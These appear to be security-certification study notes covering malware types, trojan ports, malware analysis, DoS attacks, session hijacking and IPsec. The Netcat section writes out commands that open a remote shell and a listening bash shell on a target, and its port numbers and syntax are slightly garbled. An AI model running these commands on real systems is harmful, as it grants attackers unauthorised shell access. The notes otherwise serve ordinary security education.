10-Malware and Other Attacks
Table of Contents
Malware and Other Attacks
Malware
Malware Basics
Software designed to harm or secretly access a computer system without informed consent
Most is downloaded from the Internet with or without the user's knowledge
Overt Channels: legitimate communication channels used by programs
Covert Channels: used to transport data in unintended ways
Wrappers: programs that allow you to bind an executable to an innocent file
Example: IExpress Wizard
Crypters
Using a combination of encryption and code manipulation to render malware undetectable to security programs
Example: BitCrypter
Packers
Compressing the executable into a smaller size, and obscure the actual program, which helps evade signature based detection
Entry point of an executable may refer to a named section of code where the label is the name of a packer
Droppers: installing other malware files on to system either from malware package or Internet
Downloader: downloading other malware from Internet on to PC
Injector: injecting its code into other vulnerable running process and changes the way of execution in order to hide or prevent removal
Obfuscator: concealing its code, makes it hard for security mechanisms detect or remove it
Exploit Kit: helping to deliver exploits and payloads, like Crimepack
Trojan
Software that appears to perform a desirable function but instead performs malicious activity
To hackers, it is a method to gain and maintain access to a system
Trojans are means of delivery whereas a backdoor provides the open access
Types of Trojans
Remote Access Trojan (RAT): providing attackers with full control over the victim's system, enabling them to remotely access files, private conversations, accounting data, and others
PoisonIvy
MoSucker
Blackhole
Backdoor Trojan: RAT has UI, the client component, whereas a backdoor does not
Botnet Trojan: infecting numerous of computers across a large geographical area to create a network of bots that is controlled through a Command and Control (C&C) center
Necurs
Mirai
E-banking Trojans: intercepting victim's account informed before the system can encrypt it, and send it to the attacker's C&C center
Zeus
Proxy Server Trojan: usually a standalone application that allows remote attackers to use the victim's computer as a proxy to connect to the Internet
Covert Channel Tunneling Trojan (CCTT): a RAT, creating arbitrary data transfer channels in previously authorized data streams
Defacement Trojan: once spreading over the system, can destroy or change the entire content present in a database
Command Shell Trojan: providing a backdoor to connect to through command-line access
Netcat
"Swiss army knife" of tcp/ip hacking
Providing all sorts of control over a remote shell on a target
Can connect over TCP or UDP, from any port
Offering DNS forwarding, port mapping and forwarding and proxying
Connect:
nc -e IPaddress Port#Open a listening port on 55555 from target machine:
nc -l -p 5555 -e /bin/bash
CryptCat: encrypted version of netcat
Some Trojan Port Numbers
Trojan Name
Port
Death
2
Senna Spy
20
Hackers Paradise
31,456
TCP Wrappers
421
Doom, Santaz Back
666
Silencer, WebEx
1001
RAT
1095-98
SubSeven
1243
Shiva-Burka
1600
Trojan Cow
2001
Deep Throat
6670-71
NetBus
12345-6
Whack a Mole
12361-3
Back Orifice
31337,8
Tools
Process Explorer (PE): Microsoft tool that shows you everything about running processes
Registry Monitoring Tools
SysAnalyzer
Active Registry Monitor
Regshot
Tripwire: integrity verifier that can act as a HIDS in protection against Trojans
SIGVERIF: building into Windows to verify the integrity of the system
Log file can be found at c:\windows\system32\sigverif.txt
Looking for drivers that are not signed
Virus
Self-replicating program that reproduces by attaching copies of itself into other executable code
Usually installed by user clicking on malicious file attachments or downloads
Types of Viruses
Virus Hoax: a kind of bluff and false alarm claiming reports about nonexistent viruses to cause fear
Fake Antivirus: trying to convince a user has a virus and have them download an AV that is a virus itself
Ransomware: malicious software designed to deny access to a computer until a price is paid; usually spread through email
Locky: Using RSA-2048 and AES-128 to lock files
WannaCry: famous ransomware, within 24 hours had 230,000 victims, exploited unpatched SMB vulnerability
Petya-NotPetya: spreading over network using WMIC (Windows Management Instrumentation Command-line) by capturing all credentials from local machine using Mimikatz
Boot Sector Virus: known as system virus, moving boot sector to another location and then inserts its code in the original location
Shell Virus: wrapping around an application's code, inserting itself before the application's
Cluster Virus: modifying directory table entries so every time a file or folder is opened, the virus runs
Multipartite Virus
Attempting to infect both boot sector and files
Generally referring to viruses with multiple infection methods, or executing different in different places on target at the same time
Macro Virus: written in VBA, infects template files, mostly MS Word and MS Excel
Polymorphic Code Virus: mutating its code by using a polymorphic engine; difficult to find because code is always changing
Encryption Virus: using encryption to hide the code from antivirus
Metamorphic Virus: rewriting itself every time it infects a new file
Win32/ Simile
Zmist: Mistfall is the first virus uses technique called code integration. This code inserts itself into other code and regenerates code and rebuilds the executable
Stealth Virus: known as tunneling virus, attempts to evade AVs by actively altering and corrupting the service call interrupts while running
Cavity Virus: overwriting portions of host files as to not increase the actual size of the file; uses null content sections
Armored Virus: containing a variety of mechanisms specifically coded to make its detection and decryption very difficult
Companion/Camouflage Virus: spoofing a scanner by camouflaging itself to the identical file name as targeted program file
Cluster Virus: modifying directory table entries so that it points users or system processes to the virus code instead of the actual program
Sparse Infector Virus
Only infecting occasionally, like every tenth program executed
Deciding which file to infect based on certain conditions, like target file with max. size of 128kb
File Extension Virus: changing the file extensions of files to take advantage of most people having them turned off (readme.txt.vbs shows as readme.txt)
Logic Bomb Virus: triggered by a response to an event, such as launching an application or when a specific date/time is reached
Worm
Self-replicating malware that sends itself to other computers without human intervention
Usually doesn't infect files, just resides in active memory
Often used in botnets
Analyzing Malware
Sheep Dip: referring to analysis of suspect files
Sheep Dip Computer: installed with port monitors, file monitors, network monitors and antivirus software, connects to a network only under strictly controlled conditions
Static Analysis
Dismantling of a given executable into binary format to study its functionalities and features
Tools
HashMyFiles: file fingerprinting
VirusTotal: online malware scanning
PEiD: identifying packing/obfuscation methods
Dependency Walker: listing all dependent modules of an executable file
IDA Pro: disassembler and debugger
Dynamic Analysis
Running malware and identifying changes to the system, usually in a sandbox environment
Make sure you have a good test bed
Use a VM with NIC in host-only mode and no open shares
Analyze the malware on the isolated VM in a static state
Tools - binText and UPX help with looking at binary
Run the malware and check out processes
Use Process Monitor, etc. to look at processes
Use NetResident, TCPview or even Wireshark to look at network activity
Check and see what files were added, changed, or deleted
Heuristic Analysis
Detecting new or unknown viruses that are usually variants of an already existing virus family
Drawback: too many false positives
Can be static or dynamic
Static Heuristic Analysis: The anti-virus analyzes the file format and code structure to determine if the code is viral
Dynamic Heuristic Analysis: The anti-virus performs a code emulation of the suspicious code to determine if the code is viral
Tools
IDA Pro
Anubis
Threat Analyzer
Preventing Malware
Make sure you know what is going on in your system
Have a good antivirus that is up to date
DEP (Data Execution Prevention): prevents from accidentally executing a potentially malicious batch or PowerShell script in Windows
DLP (Data Loss Prevention): a strategy for preventing end users from sending sensitive or critical information outside of the corporate network
DoS (Denial of Service) Attacks
Seeking to take down a system or deny access to it by authorized users
Botnet: network of zombie computers a hacker uses to start a distributed attack
Can be controlled over HTTP, HTTPS, IRC, or ICQ
Basic Categories
Fragmentation Attack: taking advantage of the system's ability to reconstruct fragmented packets
Volumetric Attack: bandwidth attack, consuming all bandwidth for the system or service
Application Attack
Consuming the resources necessary for the application to run
Application level attack is against weak code
Application attack is just the general term
TCP state-exhaustion Attack: going after load balancers, firewalls and application servers by attacking connection state tables
SYN Flood: sending thousands of SYN packets with fake source IP address and not responding to the SYN/ACK packets; lots of half connections where the 3-way hanndshake is never completed; eventually target runs out of resources
ICMP flood: sending ICMP ECHO packets with a spoofed address; eventually reaches limit of packets per second sent
Smurf: sending large number of pings to the broadcast address of the subnet with source IP spoofed as the target, entire subnet responds exhausting the target; using ICMP ECHO requests
Fraggle: same as Smurf but with UDP packets
Ping of Death: fragmenting ICMP messages, after reassembled, ICMP packet is larger than the maximum size and crashes the system
Teardrop: overlapping numerous garbled TCP/IP fragments with oversized payloads, causes older systems to crash due to fragment reassembly
Phlashing: also known as bricking a system, causing permanent damage to a system
LAND Attack (Local Area Network Denial): sending a TCP SYN packet to the target with a spoofed IP the same as the target; if vulnerable, target loops endlessly and crashes
DDoS (Distributied Denial of Service): incoming traffic flooding the victim originates from many different sources
DRDoS (Distributied Reflexion Denial of Service): using IP spoofing, the source address is set to targeted victim, which means all the replies will go to the target and flood the target
Slowloris: trying to keep many connections to the target web server open and hold them open as long as possible
Tools
Low Orbit Ion Cannon (LOIC): DDoS tool that floods a target with TCP, UDP or HTTP requests
Trinity: Linux based DDoS tool
Session Hijacking
Attacker waits for a session to begin and after the victim authenticates, steals the session for himself
Predicting can be done by knowing the window size and the packet sequence number
Also can be done via brute force, calculation or stealing
Steps
Sniff the traffic between the client and server
Monitor the traffic and predict the sequence numbering
Desynchronize the session with the client
Predict the session token and take over the session
Inject packets to the target server
Countermeasures
Using unpredictable session IDs
Limiting incoming connections
Minimizing remote access
Regenerating the session key after authentication
Using IPsec to encrypt
IPsec (Internet Protocol Security)
Transport Mode
Payload and ESP trailer are encrypted, not IP header
Can be used in NAT because the original packet is still routed in exactly the same manner as it would have been without IPsec
Tunnel mode
Everything is encrypted
Cannot be used with NAT
Architecture Protocols
Authentication Header: guarantying the integrity and authentication of IP packet sender
Encapsulating Security Payload (ESP): providing origin authenticity and integrity as well as confidentiality
Internet Key Exchange (IKE): producing the keys for the encryption/decryption process, port 500
Oakley: using Diffie-Hellman to create master and session keys
Internet Security Association Key Management Protocol (ISAKMP): software that facilitates encrypted communication between two endpoints
Tools
Ettercap: man-in-the-middle tool and packet sniffer on steroids
Zaproxy
Paros proxy
Burp Suite
Hamster
IKE-scan: IPsec VPN scanning and fingerprinting tool
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